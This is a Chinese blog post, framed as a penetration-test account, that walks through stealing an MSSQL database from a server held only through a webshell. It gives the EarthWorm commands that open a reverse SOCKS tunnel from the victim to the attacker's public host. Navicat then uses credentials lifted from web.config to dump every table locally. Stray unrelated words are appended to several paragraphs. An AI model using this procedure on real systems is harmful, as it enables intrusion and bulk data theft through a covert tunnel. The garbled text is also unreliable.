使用ew代理導出和導入mssql數據

最近有些忙,在51cto上了一個《Web網站安全評估分析及防護》專欄,說實話,針對attack的狀況,如何來進行掃描,如何來進行防護,如何發現漏洞,是一件頗有意思的事情,作這個事情纔有意義和價值,penetest僅僅是爲了證實,經過技術手段,能夠驗證,可以拿到webshell,乃至服務器權限。在前端時間的一個penetest中,因爲Web服務器是站庫分離,經過webshell來導出數據比較困難(MSSQL數據庫),即便導出數據庫,數據庫在內網數據庫服務器上,沒法直接下載,經過研究和實戰,經過ew代理及Navicat for SQL Server工具,成功獲取目標數據庫中的數據,沒有太多技術含量,文章比較實用,可以解決實際問題。下面是詳細過程:前端

在penetest過程當中碰到一些狀況,僅僅獲取了webshell權限,沒法提權(阿里雲服務器),而數據庫服務器又不在本地,數據庫服務器在阿里雲上,僅僅受權webshell所在IP的計算機訪問,這時候就須要經過架設代理,經過代理鏈接數據庫服務器,並經過Navicat for SQL Server將數據庫從遠端取回,同時須要在本地進行還原。web

設置代理

1.在獨立公網IP執行命令

下載ew代理工具,下載地址:http://rootkiter.com/EarthWorm/ ,解壓後將對應版本的ew複製到相應文件夾,執行命令:ew -s rcsocks -l 1080 -e 8888,如圖1所示,其中8888爲獨立公網IP地址所開放的8888端口,1080爲代理端口。sql

使用ew代理導出和導入mssql數據
圖1在獨立公網服務器上開啓443代理shell

2.在被控制服務器上執行命令

將ew.exe複製到被控制服務器上,經過shell執行命令:ew -s rssocks -d 139.1..31 -e 8888,139.1..31爲獨立IP地址,鏈接8888端口。數據庫

3.設置Proxifier

安裝Proxifier程序,安裝完畢後,單擊「配置文件」-「代理服務器」-「添加」,在地址中填寫公網IP地址和對應的端口,如圖2所示,協議選擇socks版本5,完成後肯定設置。安全

使用ew代理導出和導入mssql數據
圖2設置Proxifier代理IP地址服務器

4.測試代理

在視圖中單擊「代理檢查器」,如圖3所示,單擊「開始測試」,若是代理服務器可以正常連通,則顯示綠色,不然顯示紅色表示代理通道未成功鏈接。ide

使用ew代理導出和導入mssql數據
圖3測試代理通道創建函數

設置Navicat for SQL Server

1.設置Navicat for SQL Server鏈接

安裝Navicat for SQL Server,完成後,打開Navicat for SQL Server,在其中新建一個數據庫鏈接,如圖4所示,在主機名或IP地址中填寫對應的地址,通常選擇SQL Server驗證,在用戶名和密碼中輸入獲取的用戶名和密碼(數據庫用戶名和密碼通常在鏈接字符串中,例如web.config)。工具

使用ew代理導出和導入mssql數據
圖4設置Navicat for SQL Server鏈接

2.鏈接測試

在Navicat for SQL Server中雙擊database,如圖5所示,打開該數據庫服務器中的全部數據庫,選中一個數據庫打開之dbo。

使用ew代理導出和導入mssql數據
圖5測試數據庫鏈接

導出數據庫

1.選擇和設置數據庫導出

選中數據庫名稱(例如datadb)-dbo,右鍵單擊選擇「數據傳輸」,在常規中會自動出現剛纔選中的數據庫,默認會選擇全部的表、視圖、過程和函數,在目標中選擇「文件」-選擇導出文件的位置和名稱,編碼選擇默認,如圖6所示。

使用ew代理導出和導入mssql數據
圖6設置數據庫導出

2.去掉刪除數據庫表選項

在高級中須要去掉「建立前刪除目標對象」選項框,若是本地存在該數據庫,則不用去掉。如圖7所示,若是沒有去掉,則會在導入數據庫是出錯,由於須要drop表,數據庫自己不存在!其它選項能夠根據實際須要進行選擇。

使用ew代理導出和導入mssql數據
圖7去掉刪除表操做

3.導出數據

如圖8所示,正確設置數據庫導出屬性後,開始導出數據庫,顯示100%數據傳輸時表明該數據庫數據和表所有導出到本地sql文件。

使用ew代理導出和導入mssql數據
圖8導出數據庫sql文件

導入SQL Server數據庫

將導出的SQL文件下載到本地,本地須要搭建SQL Server數據庫服務器,其導入過程比較簡單,下面介紹其操做流程,詳細過程就不贅述了。

1.在本地SQL Server數據庫中建立對應的數據庫名稱
2.設置相同的用戶,此處設置導出是數據對應的用戶名稱和密碼,跟導出的sql文件對應的用戶和權限,防止出現權限不一致導入數據失敗。
3.設置用戶的對應權限。在SQL Server中對用戶設置能夠訪問數據庫以及數據庫角色權限。
4.設置Navicat for SQL Server,用一樣的方法在本地創建數據庫鏈接。
5.鏈接數據庫服務器,打開須要導入的數據庫到dbo處,選擇運行SQL文件,選中導出的sql文件,開始導入數據庫。
6.數據庫導入成功後,刷新數據庫便可在本地使用。

以爲本文不錯的朋友,能夠移步本人在51cto專欄文章,訂閱專欄雙重好禮:500g安全類電子資源包&51CTO送書活動
(1)《Web網站安全評估分析及防護》
(2)《sqlmap從入門到精通》

相關文章
相關標籤/搜索